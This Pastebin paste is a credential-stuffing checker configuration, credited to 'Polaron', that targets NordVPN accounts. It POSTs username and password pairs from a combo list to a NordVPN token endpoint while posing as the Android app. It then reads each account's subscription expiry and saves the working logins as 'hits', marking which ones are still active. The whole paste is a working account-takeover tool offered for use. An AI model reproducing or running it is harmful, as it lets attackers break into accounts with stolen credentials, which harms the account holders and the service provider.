Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [General]
- UseProxy = False
- UseGlobalKeywords = True
- DefaultTimeout = 10
- HitsFolderName = NordVPN (Polaron)
- [Stage-1]
- Condition = Any
- Variable-1 = $Link1 = "https://zwyr157wwiu6eior.com/v1/users/tokens"
- Link = $Link1#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = False
- HTTPRequestMethod = POST
- Timeout = 10
- Variable-2 = $Heads1 = "User-Agent: NordApp android (playstore/2.8.6) Android 8.1.0\nContent-Type: application/x-www-form-urlencoded"
- Headers = $Heads1#
- Variable-3 = $PostContent1 = combinetext("username=", urlencode($ComboUsername#), "&password=", $ComboPassword#)
- PostContent = $PostContent1#
- Variable-4 = $Token = findtagval($Stage1ResponseSource#,"chr(double quotes)tokenchr(double quotes):chr(double quotes)","chr(double quotes)")
- Variable-5 = $IndexOfToken = indexof($Stage1ResponseSource#, $Token#)
- Variable-6 = $IndexOfStage1FailKey = indexof($Stage1ResponseSource#, "Unauthorized")
- Variable-7 = $IndexOfRetryKey = indexof($Stage1ResponseSource#, "502: Bad gateway")
- Failure-Condition = $IndexOfStage1FailKey# >= 0
- Retry-Condition = $IndexOfRetryKey# >= 0
- [Stage-2]
- Condition = len($IndexOfToken#) > 0
- Variable-1 = $Link2 = "https://zwyr157wwiu6eior.com/v1/users/services"
- Link = $Link2#
- isFTP = False
- HTTPVersion = 1.1
- FollowRedirect = False
- HTTPRequestMethod = GET
- Timeout = 10
- Variable-2 = $Heads2 = combinetext("Authorization: Basic ", base64encode(combinetext("token:", $Token#)))
- Headers = $Heads2#
- Variable-3 = $IndexOfSuccKey = indexof($Stage2ResponseSource#, "created_at")
- Variable-4 = $IndexOfFailKey = indexof($Stage2ResponseSource#, "[]")
- Variable-5 = $ExpiryDateFromResponse = if($IndexOfSuccKey# > 0, findtagval($Stage2ResponseSource#, "expires_atchr(double quotes):chr(double quotes)", " "), $IndexOfFailKey# == 1)
- Variable-6 = $ExpireYearFromResponse = findtagval($ExpiryDateFromResponse#, "", "-")
- Variable-7 = $ExpireMonthFromResponse = findtagval($ExpiryDateFromResponse#, combinetext($ExpireYearFromResponse#, "-"), "-")
- Variable-8 = $ExpireDayFromResponse = findtagval($ExpiryDateFromResponse#, combinetext($ExpireYearFromResponse#, "-", $ExpireMonthFromResponse#, "-"), "")
- Variable-9 = $ExpireDateYear = if($IndexOfSuccKey# > 0, $ExpireYearFromResponse# * 31556926, $IndexOfFailKey# == 1)
- Variable-10 = $ExpireDateMonth = if($IndexOfSuccKey# > 0, $ExpireMonthFromResponse# * 2629743, $IndexOfFailKey# == 1)
- Variable-11 = $ExpireDateDay = if($IndexOfSuccKey# > 0, $ExpireDayFromResponse# * 86400, $IndexOfFailKey# == 1)
- Variable-12 = $ExpireDateTimestamp = if($IndexOfSuccKey# > 0, ($ExpireDateYear# + $ExpireDateMonth# + $ExpireDateDay#) - 62169860363, $IndexOfFailKey# == 1)
- Variable-13 = $SaveFormat = combinetext($ComboUsername#, ":", $ComboPassword#, "\nExpires On: ", $ExpiryDateFromResponse#, "\nCredit: Polaron")
- Success-Condition = $IndexOfSuccKey# >= 0 && $ExpireDateTimestamp# > unixtime()
- Failure-Condition = $IndexOfFailKey# >= 0
- Free-Condition = $IndexOfSuccKey# >= 0 && $ExpireDateTimestamp# <= unixtime()
Add Comment
Please, Sign In to add comment